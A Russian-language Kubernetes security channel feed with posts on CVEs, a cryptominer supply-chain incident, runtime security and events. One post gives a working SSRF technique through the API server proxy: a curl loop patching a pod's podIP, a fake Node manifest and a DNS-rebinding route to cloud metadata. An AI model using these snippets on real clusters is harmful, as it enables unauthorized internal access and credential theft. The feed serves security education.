k8s (in)security
12.1K subscribers
1.02K photos
38 files
1.56K links
Канал о (не)безопасности Kubernetes + микросервисных, контейнеризированных приложений.

Ведет команда www.luntry.ru

Вопросы, идеи, предложения => @Qu3b3c

https://knd.gov.ru/license?id=673ddbc21039886b1d03b7ce&registryType=bloggersPermission
Download Telegram
Сегодня мы вам рекомендуем изучить статью "Building Container Images FROM Scratch: 6 Pitfalls That Are Often Overlooked" (Иван продолжай в том же духе ;)). Название говорит само за себя. Все с наглядными примерами проблем и их решениями.
👍29🥰43🔥3
Вышло очередное новое видео из серии Kubernetes Security Fundamentals от Rory McCune. Это видео про Authentication, а вернее о том как работает аутентификация учетных записей сервисов в Kubernetes. Видео доступно по ссылке тут.
👍14🔥42
Начнем эту неделю со статьи "Reproducing CVE-2024-9042: Command Injection in Windows Kubernetes Nodes" про CVE-2024-9042, которая описывается вендором: Command Injection affecting Windows nodes via nodes/*/logs/query API. Ключевые моменты:

- Только Windows
- Должен быть включен NodeLogQuery feature gate (по умолчанию сейчас выключен и эту ручку упоминали тут)
- pattern параметр этой фичи напрямую передается в Powershell без фильтрации
- command injection любым пользователем и service account с правами GET на nodes/logs
- Позволяет выполнять команды на всех Windows нодах от NTAuthority\system

Вот как-то само собой так получается, что когда мы рассказываем [1,2] про Kubernetes в Windows мире, это обязательно про какие-то баги. И при этом эти баги не проходные, а которые действительно могут быть очень полезны атакующему.

P.S. Кто-нибудь Kubernetes кластера на Windows держит или игрался с ними?
👍8🔥3
Сегодняшним постом продолжаем тематику наступательной безопасности в Kubernetes, а именно – рассмотрим механизм Proxy в Kubernetes API Server.

Наверняка вы знаете, что Kubernetes API Server может выступать в качестве HTTP-прокси сервера, позволяя пользователям с соответствующими правами (create nodes/proxy, pods/proxy) получить доступ к Nodes или Pods.

Очевидно, что kubectl proxy позволяет по сути экспулатировать SSRF, поэтому рассмотрим несколько интересных способов использования этой функциональности:

1) Проксирование на адреса вне кластера

Бага 2019 года (упоминали про неё на канале тут), но она всё еще работает. Всё что нужно – это перезаписать IP адрес в поле status в манифесте Pod, а затем проксировать запросы на этот адрес. Однако, это может вызвать некоторые сложности, т.к Kubernetes распознает это изменение как ошибку и изменяет значение на действительный IP-адрес, поэтому вам придется зацикливать запросы, чтобы сохранить его установленным на нужное вам значение:


#!/bin/bash

set -euo pipefail

readonly PORT=8001
readonly POD=echoserver
readonly TARGETIP=1.1.1.1

while true; do
curl -v -H 'Content-Type: application/json' \
"http://localhost:${PORT}/api/v1/namespaces/default/pods/${POD}/status" >"${POD}-orig.json"

cat $POD-orig.json |
sed 's/"podIP": ".*",/"podIP": "'${TARGETIP}'",/g' \
>"${POD}-patched.json"

curl -v -H 'Content-Type:application/merge-patch+json' \
-X PATCH -d "@${POD}-patched.json" \
"http://localhost:${PORT}/api/v1/namespaces/default/pods/${POD}/status"

rm -f "${POD}-orig.json" "${POD}-patched.json"
done


2) SSRF через Fake Node

Если у вас есть возможность создавать Nodes, то в манифесте достаточно указать желаемый адрес, для того чтобы проксировать туда запросы:


kind: Node
apiVersion: v1
metadata:
name: fakegoogle
status:
addresses:
- address: www.google.com
type: Hostname



curl http://127.0.0.1:8001/api/v1/nodes/http:fakegoogle:80/proxy/


3) CVE-2020-8562 – Обход blacklist

Эксплуатация уязвимости типа TOCTOU, на данный момент не имеющей патча, будет особенно интересна, если вы находитесь в окружении облачного провайдера без возможности делать запросы на 169.254.169.254. Прибегнув к известной технике для эксплуатации SSRFDNS rebinding можно обойти это ограничение, для этого, например, можно воспользоваться сервисом rebinder.

Про эти и другие способы использования kubectl proxy рассказал Rory McCune в своей статье "Exploring the Kubernetes API Server Proxy".
👍165🔥3🥰2
Неприятная история случилась с Kong Ingress Controller в конце прошлого года – в прод попал образ, содержащий в себе майнер XMRig. Таймлайн происходящего был таков:

1) 28 августа 2024 года разработчики из Kong исправляют свои пайплайны меняя pull_request на pull_request_target
2) 25 ноября 2024 года они получают анонимный отчет от исследователя безопасности о том, что их репозиторий подвержен атаке Pwn request. После этого мейнтейнеры провели ротацию всех секретов в репозитории и вернули триггерное событие обратно на pull_request. Но только для главной ветки. Так что старые неиспользуемые ветки продолжили использовать pull_request_target, а значит были уязвимы.
3) Спустя почти два месяца, а именно 23 декабря 2024 года атакующие начали разведку – они получили доступ к секретам, в том числе к персональному токену доступа GitHub, проэксплуатировав уязвимость в одном из репозиториев.
4) Примерно через 22 часа – 24 декабря злоумышленники перешли на основной репозиторий с полученным на предудыщем шаге access token. Они запушили образ docker.io/kong/kubernetes-ingress-controller на Dockerhub с тегом 3.4.
5) 29 декабря 2024 года 4 пользователя отметили в issue на GitHub, что запуск Kong Ingress Controller приводит к аномально высокой нагрузке на ЦП.
6) 2 января 2025 мейнтейнеры подтвердили, что образ был скомпрометирован, а вунтри него содержался XMRig.

Более подробно о всей ситуации можно почитать в блоге KIC тут. Также было опубликовано YARA правило для обнаружения таких нагрузок.
🔥28😨12👍82🤓2🥰1😐1
Замечательная статья "Runtime Security and the Role of eBPF/BPF-LSM", которая достаточно понятно объясняет как работает настоящий prevention (предотвращение) в Linux с помощью eBPF.

В качестве подопытных рассматриваются Falco, Tetragon и KubeArmor - все с разными подходами к реализации. Первые два не дают никакого предотвращения, а только реагирование. Falco из user space отправляет kill сигнал, а tetragon из kernel space отправляет bpf_send_signal(). Это характерно не только им, но и всем реализациям, которые опираются не на Linux Security Modules (LSM). И если вам рассказывают/заявляют обратное, то вам попросту врут.

У нас в Luntry есть функциональность для обнаружения, реагирование со сбором артефактов, предотвращения на базе AppArmor (он опирается на LSM) и уже на подходе собственная реализация предотвращения на базе eBPF-LSM.

Более детально мы сравнивали различные security runtime-решения в вебинаре "Runtime Security: на вкус и цвет все фломастеры разные".
👍185🔥2🥰1
Проект Notary (еще один проект, помимо Cosign, для подписи и верификации артефактов) прошел второй security audit.

Аудиторы из Quarks Lab в своем отчете отразили 11 findings, 2 из которых уже присвоили CVE:

CVE-2024-56138: Time stamp signature generation lacks certificate revocation check
CVE-2024-51491: Process crash during CRL-based revocation check on OS using separate mount point for temp Directory


Краткую выжимку всех находок можно почитать в блоге Quarks Lab тут, а полный отчет в репозитории Notary тут.
👍12🔥3🤡21
13 февраля на ТБ Форуме пройдет доклад Анатолия Карпенко, инженера по автоматизации Luntry, на тему “Основы анализа СЗИ в контейнерном исполнении с помощью Luntry”.

За достаточно небольшой временной интервал мы с вами пройдем путь от полного неведения о попавшем нам в руки для анализа СЗИ в контейнерном исполнении, до полного понимания, что это за средство, как оно устроено и насколько все хорошо у него с безопасностью.

В рамках доклада:
- Узнаем, как можно быстро понять исследуемое приложение с точки зрения его компонентов и активности;
- Разберемся, на какие аспекты образов контейнеров стоит обращаться внимание с точки зрения информационной безопасности;
- Поднявшись на уровень выше, углубимся в свойства безопасности на уровне контейнеров и YAML файлов, описывающих их в Kubernetes.
- На каждом этапе остановимся на рекомендациях по исправлению и улучшению уровня безопасности контейнерного приложения.
🔥11👍62🥰2
Благодаря посту выше мы вышли на статью "The (Anti-)EDR Compendium" и решили сами обдумать действительно насколько это схоже с тем, что можно наблюдать в контейнерном мире, в Kubernetes при работе runtime security решений агентской природы (то, что ставится на Node и мониторит происходящее там).

Основные моменты, которые хотелось бы подсветить:
1) Чем больше детектирующей логики на агенте/сенсоре, тем больше влияние на производительность и вообще возможность обработать большой поток сообщений (упираемся в лимиты и дропы). В контейнерном Мире все ухудшается тем, что там в большинстве своем высоконагруженные приложения и они генерируют большое количество событий, не под стать пользовательской машине. На пример мы встречали кейсы, где порождалось по 100тыщ процессов в секунду (и это явно не предел, а с сетевыми может быть и еще хуже ситуация)! И чем больше там правил, тем больше времени и ресурсов надо чтобы это разобрать.

2) Сложные анализы на агенте/сенсоре — это всегда большие оверхеды. В разделе "Performance Impact" рассматривается ситуация сканирование памяти и файлом антивирусным движком. Как я думаю вы уже догадались это дорого! И это очень плохо влияет на систему контейнеризации (привет overlayfs) и об этом и говорит документация docker. Иначе это приведет к сбоям в работе контейнерных приложений.

Есть еще много общего и это мы рассматривали в вебинаре "Runtime Security: на вкус и цвет все фломастеры разные".
👍9🔥42
Напоминаем, что идет прием заявок на доклады на конференцию БеКон 2025!

Если мы на предыдущие конференции только приглашали докладчиков из наших клиентов, друзей и партнеров, на конкретные темы, то сейчас появляется возможность предложить свою тему самостоятельно ;)

Требования к заявке:
- Продолжительность доклада — не более 25 минут
- Тема по безопасности контейнеров и Kubernetes
- Выступление рассчитано на технических специалистов
- Доклад актуален и основан на личном опыте
- Доклад ранее нигде не был представлен
- Доклад глубоко раскрывает тему и имеет практическое применение

Заявки принимаются до 31 марта! Сама конференция будет в начале июня.
🔥91👍1🤩1
Занимательный материал "Migrating from Istio to Linkerd". Ранее подобного не встречал, а при этом последние наверное полгода - год вопросы про Linkerd от друзей и клиентов мы получаем. Так что эта статья будет как раз в тему. При этом там и про механизмы безопасности не забыли в разделе "Migrating authorization policy".

А как у вас отношение к Linkerd?)
👍15🔥21
Вышла очередная статья из цикла Kubernetes security fundamentals от Rory McCune, на этот раз про Networking.

В начале автор рассказывает про так называемые Network trust zones, а потом представляет CNI, сетевые политики и способы управления ими.

В конце, автор приводит манифест для поднятия демо-стенда.
👍17🔥4👏2
В одном из своих прошлых постов мы уже упоминали доклад "Commencement into Real Kubernetes Security" от Jay Beale и Mark Manning с конференции ShmooCon 2025 и там делали акцент на релизе инструмента Seccomp-Diff. А сегодня хочется сделать акцент на самом докладе, потому что он просто великолепный и мысли авторов во многих моментах совпадают с нашими (которые мы рассказываем в наших выступлениях). Приятно что у мировых звезд индустрии такой же взгляд ;)

И так:
- Видео выступления
- Слайды выступления
- Демо из выступления (Взлом CIS соответствующего кластера без CVE - для многих это идеал)

И в шапке поста несколько шедевральных слайдов, там таких много, поэтому презентация MUST SEE! На самом деле прям хочется сделать отдельный стрим с разбором данной преза - настолько там много всего хорошего)
🔥17
Kubernetes Netowrk Policies Done the Right Way by Isovalent.pdf
7.9 MB
Инженеры из Cilium опубликовали книгу Kubernetes Network Policies Done the Right Way.

Из этой книги вы узнаете:

- Что такое NetworkPolicy, какова их роль в обеспечении безопасности workloads, и как преодолеть проблемы с их внедрением
- Про разные подходы к использованию сетевых политик, управление ими, и их конфигурацию
- Про принятие принципа Zero Trust, использование Hubble для повышение observability

Экземпляр книги прикладываем во вложении к посту.
👍35🔥172👎1
В блоге исследовательской команды Aqua Security вышел пост с громким названием "OPA Gatekeeper Bypass Reveals Risks in Kubernetes Policy Engines"! А по факту просто некорректно написанная политика... И такую некорректную политику можно написать и во всех других PolicyEngine. Помимо этого мы на нашем канале уже об этом писали 3 года назад - вот оригинальный пост.

Вывод тут простой - внимательнее читайте наши посты и будете в курсе самых интересных кейсов раньше других ;)
👍12😁5🔥32🤬1
В прошлом году, в одном из постов, мы рассказывали про инструмент k8spider и его возможности. Его автор совсем недавно выпустил статью "Spider in the Pod - How to Penetrate Kubernetes with Low or No Privileges", в которой рассказал как можно пентестить Kubernetes когда привилегий совсем нет или их очень мало.

Автор разбирает несколько кейсов для получения первоначального доступа: Java Heapdump to Cluster Initial Access, Gain Cluster Admin via Weave Scope Internal Unauthenticated Service, Leakage of sensitive information via mutating webhook и Attacking persistent Database backend with NFS/CSI storage. Крайне рекомендуем ознакомиться со всеми более детальней!

В своем повествании автор возвращается к k8spider, а точнее улучшениям которые были внесены в последней версии. Теперь k8spider умеет парсить метрики kube-state-metrics и по ним восстанавливать информацию по доступным ресурсам и их конфигурации.
🔥229👍1🥰1
25 февраля в 11:00 мы проведем вебинар «Безопасность контейнеров и Kubernetes для CISO».

Вебинар будет интересен также C-level, тимлидам и руководителям информационной безопасности, которые работают с контейнерными средами или планируют их внедрение. Мы расскажем о ключевых аспектах безопасности контейнеров и Kubernetes, поделимся практическим опытом и ответим на ваши вопросы.

Команда Luntry уже более 5 лет помогает компаниям из разных секторов (банки, ритейл, финансы и др.) обеспечивать безопасность контейнерных инфраструктур. Мы работали с кластерами различного размера и уровня зрелости, поэтому можем поделиться релевантным опытом как для новичков, так и для экспертов в области контейнеризации.

В рамках вебинара рассмотрим:
- Как и почему контейнеризация завоевывает инфраструктуры
- Что такое контейнеры и Kubernetes
- Как смотреть на защиту контейнерных сред
- Как совместно с ИТ это все использовать на благо, а не во вред
- Почему защита Kubernetes это не то же самое, что и защита Windows/Linux/Mac сред
- Какие подводные камни есть при защите контейнерных сред

Регистрация по ссылке.
🔥9👍84❤‍🔥2
Есть такое предчувствие, что такие механизмы как AppArmor и Seccomp получат вторую жизнь и все благодаря контейнерам =)

Проект Kubernetes-AppArmor-Profiles еще одно подтверждение этому. В нем собраны AppArmor и Seccomp профили для популярных образов приложений: grafana, ingress-nginx, memcached, nginx, postgresql, prometheus, redis, tomcat, traefik.

P.S. Ну и не зря же мы в наш Luntry пару лет назад добавляли генератор AppArmor профилей в конце концов ;)
🔥254👍4🥰2😁2
В декабре прошлого года ресерчеры из Unit 42 выпустили новое исследование – "Dirty DAG: New Vulnerabilities in Azure Data Factory’s Apache Airflow Integration".

На первый взгляд ничего общего с Kubernetes тут нет, но как раз благодаря ряду критичных мисконфигов в инстансе Apache Airlfow, запущенного под управлением K8s исследователи смогли продвинуться дальше.

Получив реверс-шелл (ввиду отсутствия Network Policy), благодаря DAG, ресерчеры оказались внутри контейнера, использующего Service Account с правами Сluster-Admin. Далее они без особого труда прочитали секреты и сбежали на Node.

Дальнейшие их продвижение затрагивало сервисы Azure, но первоначальный доступ был получен именно благодаря недостаткам в кластере K8s.
🔥9🫡5😱2👍1
Мы наконец-то сделали официальный telegram канал для нашего решения Luntry, где будет публиковаться информация как о самом решении, так и наших активностях, новостях. Ну и хорошим техническим материалом канал не будет обделен. Там уже сейчас можно ознакомиться со статьей про инцидент SolarWinds в контейнерном Мире.

Подписывайтесь!
🔥17🎉5👍21🍾1